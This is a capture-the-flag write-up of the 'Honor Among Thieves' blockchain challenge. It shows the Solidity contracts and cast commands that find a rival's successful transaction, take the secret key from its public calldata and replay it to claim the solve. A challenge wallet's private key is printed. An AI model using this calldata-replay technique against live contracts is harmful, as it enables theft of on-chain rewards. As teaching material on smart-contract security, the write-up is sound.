Challenge Overview

Honor Among Thieves is a Web3/blockchain challenge whose premise, “eavesdrop on the rival group and find a way to steal the key,” turns out to be a literal description of the intended solution rather than just flavor text. The on-chain objective is defined by the Setup contract:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Rivals} from "./Rivals.sol";

contract Setup {
    Rivals public immutable TARGET;

    constructor(bytes32 _encryptedFlag, bytes32 _hashed) payable {
        TARGET = new Rivals(_encryptedFlag, _hashed);
    }

    function isSolved(address _player) public view returns (bool) {
        return TARGET.solver() == _player;
    }
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

contract Rivals {
    event Voice(uint256 indexed severity);

    bytes32 private encryptedFlag;
    bytes32 private hashedFlag; 
    address public solver; 

    constructor(bytes32 _encrypted, bytes32 _hashed) {
        encryptedFlag = _encrypted;
        hashedFlag = _hashed;
    }

    function talk(bytes32 _key) external {
        bytes32 _flag = _key ^ encryptedFlag;
        if (keccak256(abi.encode(_flag)) == hashedFlag) {
            solver = msg.sender;
            emit Voice(5);
        } else {
            emit Voice(block.timestamp % 5);
        }
    }
}

isSolved() just checks that Rivals.solver equals the player’s own address. solver is only ever set inside talk(bytes32 _key), and only when the caller supplies the exact _key that, XORed with encryptedFlag, produces a _flag whose keccak256 hash matches hashedFlag.

Reconnaissance

Why brute-forcing or reading storage does not work

encryptedFlag and hashedFlag are private, but as with previous challenges, that only restricts Solidity-level access, both values are fully readable off-chain via cast storage once their slots are known. Reading them, however, does not get a solver anywhere on its own:

  • hashedFlag is a keccak256 digest. It is a one-way function; recovering _flag from hashedFlag directly is not computationally feasible.
  • encryptedFlag is only useful once the correct _key is known, since _flag = _key ^ encryptedFlag requires the exact _key, not just the ciphertext.
  • Brute-forcing _key locally means searching a 2^256 space, since _key is an arbitrary bytes32 with no constraint narrowing it down. That is computationally infeasible, exactly like trying to find a keccak256 collision by brute force.

So there is no way to derive the winning _key from the contract’s own storage or from the hash alone. The word “Rivals” in the contract name and the challenge’s framing (“eavesdrop on the rival group”) are the actual hint: something else, presumably an automated process seeded as part of the challenge instance, is expected to already be calling talk() with guesses, and Ethereum transactions are never private. Anyone can watch the chain for that activity.

Detecting a successful guess via the Voice event

Every call to talk() emits Voice(uint256 severity), with severity indexed so it can be filtered directly in an event query:

  • On failure, severity = block.timestamp % 5, a pseudo-random value in [0, 4].
  • On success, severity is hardcoded to 5, a value that can never occur from the failure branch, making it an unambiguous signal that some caller supplied the correct _key.

Filtering logs for severity == 5 immediately surfaces the winning transaction:

cast logs --rpc-url "http://154.57.164.73:30431/rpc" "event Voice(uint256 indexed severity)" 5

- address: 0x8b75AB29940a1ADcB03161F51B7eA1c18d8DA02e
  blockHash: 0x62df1017869ac146188618bba63e262c2a57d8e2b791eaa7d0c359d2ac68af31
  blockNumber: 51
  data: 0x
  logIndex: 0
  removed: false
  topics: [
    0x8be9391af7bcf072cee3c17fdbdfa444b42ad0d498941bcd0eb684da1ebe0d62
    0x0000000000000000000000000000000000000000000000000000000000000005
  ]
  transactionHash: 0xf13ef73010c0c876d9960fad6b69087a11384529e43df05054814cd687c1c1ec
  transactionIndex: 0

This confirms both the exact block where the correct key was submitted and the transaction hash that carried it as calldata.

Exploit Development

Extracting the winning key from the transaction calldata

Ethereum transaction inputs are public regardless of contract visibility rules, since calldata is part of the transaction itself, not contract storage. Fetching the winning transaction exposes exactly what was passed to talk():

cast tx --rpc-url "http://154.57.164.73:30431/rpc" 0xf13ef73010c0c876d9960fad6b69087a11384529e43df05054814cd687c1c1ec

from                 0x8df35996E6B05D3C8587DECbbC584A1515be94D5
to                   0x8b75AB29940a1ADcB03161F51B7eA1c18d8DA02e
input                0x52eab0faf6aa6d17ff5d89cc32186f642fa4435daf42aacf3de22c0316fa190e91ad0d1c

The input field is the raw calldata: the first 4 bytes (0x52eab0fa) are the function selector for talk(bytes32), and everything after that is the ABI-encoded argument, the _key value the rival used to solve the challenge. There is no need to decrypt anything further, this is already the exact bytes32 that satisfies the check inside talk().

Why replaying it is enough

Nothing in talk() prevents it from being called more than once, and nothing checks whether solver has already been set:

function talk(bytes32 _key) external {
    bytes32 _flag = _key ^ encryptedFlag;
    if (keccak256(abi.encode(_flag)) == hashedFlag) {
        solver = msg.sender;
        emit Voice(5);
    }
    ...
}

Since encryptedFlag and hashedFlag never change after deployment, submitting the exact same _key again will deterministically recompute the same _flag, pass the same keccak256 comparison, and overwrite solver with whoever calls talk() this time. The rival’s key does not need to be understood or decrypted at all, it just needs to be resent from the player’s own wallet.

Exploitation

Replaying the extracted key from the player’s own address

cast send --rpc-url http://154.57.164.73:30431/rpc --private-key 0x638b4bae277ef7ab42a3589e903f10fc3d7ed5ad54170b40fe2e4f46a70c3e66 0x8b75AB29940a1ADcB03161F51B7eA1c18d8DA02e "talk(bytes32)" f6aa6d17ff5d89cc32186f642fa4435daf42aacf3de22c0316fa190e91ad0d1c

from                 0xA81812a634FE36031A6e1555c2172c7Ca6a3D77f
logs                 [{"topics":["0x8be9391af7bcf072cee3c17fdbdfa444b42ad0d498941bcd0eb684da1ebe0d62","0x0000000000000000000000000000000000000000000000000000000000000005"], ...}]
status               1 (success)
transactionHash      0x469b2a9acd1bcffdb0b840b21070e028b7b596983de94d8ce64d17c79d6366f0

The emitted Voice event carries severity = 5 again, confirming the same _key still satisfies the check, and this time solver is set to the player’s own address (0xA81812a634FE36031A6e1555c2172c7Ca6a3D77f).

Confirming the solve

cast call --rpc-url "http://154.57.164.73:30431/rpc" 0x8b75AB29940a1ADcB03161F51B7eA1c18d8DA02e "solver()()"
0x000000000000000000000000a81812a634fe36031a6e1555c2172c7ca6a3d77f

solver now matches the player’s address exactly, which satisfies Setup.isSolved().

Conclusion

Honor Among Thieves does not hide its real vulnerability in the cryptography, XOR-then-hash is a perfectly reasonable commitment scheme on its own, but in the assumption that submitting a value through a public blockchain transaction keeps that value private. Calldata is always visible to anyone watching the chain, and a talk() function with no one-time-use guard means any correct answer, once observed, can be resubmitted verbatim by a different caller to claim the same result. The actual “theft” in this challenge is nothing more than reading a public transaction and replaying its input.


written by bara